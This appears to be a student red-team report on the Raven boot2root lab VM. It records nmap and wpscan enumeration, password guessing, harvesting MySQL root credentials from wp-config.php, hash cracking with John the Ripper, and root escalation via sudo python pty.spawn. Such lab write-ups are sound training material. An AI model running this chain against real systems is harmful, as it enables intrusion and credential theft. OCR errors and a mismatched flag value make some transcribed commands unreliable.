Red Team: Summary of Operations

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Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

COMMAND: \$ nmap -sV 192.168.1.110

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root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-22 11:10 PST
Nmap scan report for 192.168.1.110
Host is up (0.0012s latency).
Not shown: 995 closed ports
       STATE SERVICE
PORT
                         VERSION
                       OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
22/tcp open ssh
80/tcp open http
                        Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux kernel
Service detection performed. Please report any incorrect results at https:/
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.86 seconds
root@Kali:~#
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This scan identifies the services below as potential points of entry:

- Target 1
 - Port 22/tcp open ssh
 - Port 80/tcp open http
 - Port 111/tcp open rcpbind
 - Port 139/tcp open netbios-ssn
 - Port 445/tcp open netbios-ssn

The following vulnerabilities were identified on each target:

- Target 1
 - User Enumeration (Wordpress site)
 - Weak User Password
 - Unsalted User Password Hash (WordPress database)
 - Misconfiguration of User Privileges/Privilege Escalation

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
 - flag1{b9bbcb33e11b80be759c4e844862482d}
 - Exploit Used
 - Wpscan to enumerate users of the Target 1 WordPress site
 - COMMAND: \$ wpscan --url http://192.168.1.110/wordpress --enumerate u

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Brute Forcing Author IDs - Time: 00:00:01 ♦ (10 / 10) 100.00% Time: 00:00
:01
User(s) Identified:
[+] michael
Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection
 | Confirmed By: Login Error Messages (Aggressive Detection)
[+] steven
Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection
 | Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPVulnDB API Token given, as a result vulnerability data has not bee
n output.
[!] You can get a free API token with 50 daily requests by registering at h
ttps://wpvulndb.com/users/sign_up
[+] Finished: Sat Jan 22 11:44:32 2022
[+] Requests Done: 27
[+] Cached Requests: 25
[+] Data Sent: 6.177 KB
[+] Data Received: 171.167 KB
[+] Memory used: 117.707 MB
[+] Elapsed time: 00:00:03
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- Targeting user Michael
 - Basic brute force attack to guess/find Michael's password
 - User password was weak and obvious
 - o Password: michael

- Capturing Flag 1: SSH into Target 1 as Michael and navigate directories and files
 - Flag 1 found in var/www/html folder at root in service.html
 - COMMANDS:
 - ssh michael@192.168.1.110
 - Pw: michael
 - cd ../
 - cd ../
 - cd var/www/html
 - Is -I
 - nano service.html



- flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
 - Exploit Used
 - Same exploit used to gain Flag 1
 - Capturing Flag 2: navigating through directories and files while SSH in as user Michael
 - COMMANDS:
 - cd var/www
 - o Is -I
 - o cat flag2.txt

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-rw-r--r-- 1 root root 40 Aug 13 2018 flag2.txt
drwxrwxrwx 10 root root 4096 Aug 13 2018 flag2
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
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- flag3{afc01ab56b50591e7dccf93122770cd2}
 - Exploit Used
 - Accessing MySQL database

- After finding wp-config.php and gaining access to database credentials as MySQL, further explored database as Michael
- Flag 3 was found in wp_posts table in the wordpress database
- COMMAND:
 - mysql -u root -p'R@v3nSecurity' -h 127.0.0.1
 - show database;
 - use wordpress;
 - show tables;
 - select * from wp_posts;

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// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */

**G Get Help **O WriteOut **R Read File**Y Prev Page*** Cut Text **G Cur Pos
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flag4{715dea6c055b9fe3337544932f291ce}

- Exploit Used
 - Unsalted password hash and the use of privilege escalation with Python
 - Capturing Flag 4: retrieving user credentials from database; crack password hash with John the Ripper and use Python to gain root privileges
 - User credentials that were stored in the wp_users table of the wordpress database were copied to the Kali machine in a file called wp_hashes.txt, and cracked with John the RIpper

COMMANDS:

- mysql -u root -p'R@v3nSecurity' -h 127.0.0.1
- show databases;
- use wordpress;
- show tables:
- select * from wp users;

- On the Kali machine, the wp_hashes.txt was run against John the RIpper to crack the hashes
 - COMMANDS: john wp hashes.txt

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root@Kali:~/Desktop# nano wp_nasnes.txt
root@Kali:~/Desktop# john wp_hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8×3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
                (?)
1g 0:00:08:32 DONE 3/3 (2022-01-22 13:04) 0.001951g/s 7218p/s 7218c/s 7218C/s posu
ps..pingar
Use the "--show --format=phpass" options to display all of the cracked passwords r
eliably
Session completed
root@Kali:~/Desktop#
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 Once Steven's password was cracked, it was used to SSH into the target machine as Steven.

- As Steven, checking for privilege and escalating to root using Python
 - COMMANDS:
 - o ssh steven@192.168.1.110
 - o pw:pink84
 - o sudo -l
 - sudo python -c 'import pty;pty.spawn("/bin/bash")'
 - o cd /root
 - o Is
 - o cat flag4.txt

root@target1:/home/steven# cd /root root@target1:~# ls flag4.txt
root@target1:~# cat flag4.txt
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1 // _` \ \ / / _ \ '_ \
flag4{715dea6c055b9fe3337544932f2941ce}
CONGRATULATIONS on successfully rooting Raven!
This is my first Boot2Root VM - I hope you enjoyed it.
Hit me up on Twitter and let me know what you thought:
@mccannwj / wjmccann.github.io root@target1:~# ■